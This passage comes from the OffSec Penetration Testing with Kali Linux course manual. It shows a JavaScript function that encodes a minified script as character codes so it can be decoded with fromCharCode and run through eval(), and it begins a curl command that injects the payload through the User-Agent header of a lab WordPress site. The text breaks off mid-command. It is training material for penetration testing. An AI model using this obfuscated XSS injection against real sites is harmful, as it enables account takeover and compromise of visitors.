Penetration Testing with Kali Linux OffSec

output += input.charCodeAt(pos);
if(pos != (input.length - 1)) { 
output += ","; 
} 
} 
return output; 
} 
let encoded = encode_to_javascript('insert_minified_javascript') 
console.log(encoded) 
Listing 126 - JS Encoding JS Function 
The 
encode_to_javascript
function will parse the minified JS string parameter and convert each 
character into the corresponding UTF-16 integer code using the 
charCodeAt
380
method. 
Let’s run the function from the browser’s console. 
Figure 117: Encoding the Minified JS with the Browser Console 
380
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt 

---

Penetration Testing with Kali Linux
PWK - Copyright © 2023 OffSec Services Limited. All rights reserved. 
244 
We are going to decode and execute the encoded string by first decoding the string with the 
fromCharCode
381
method, then running it via the 
eval()
382
method. Once we have copied the 
encoded string, we can insert it with the following curl command and launch the attack: 
kali@kali:~$ 
curl -i http://offsecwp --user-agent 
"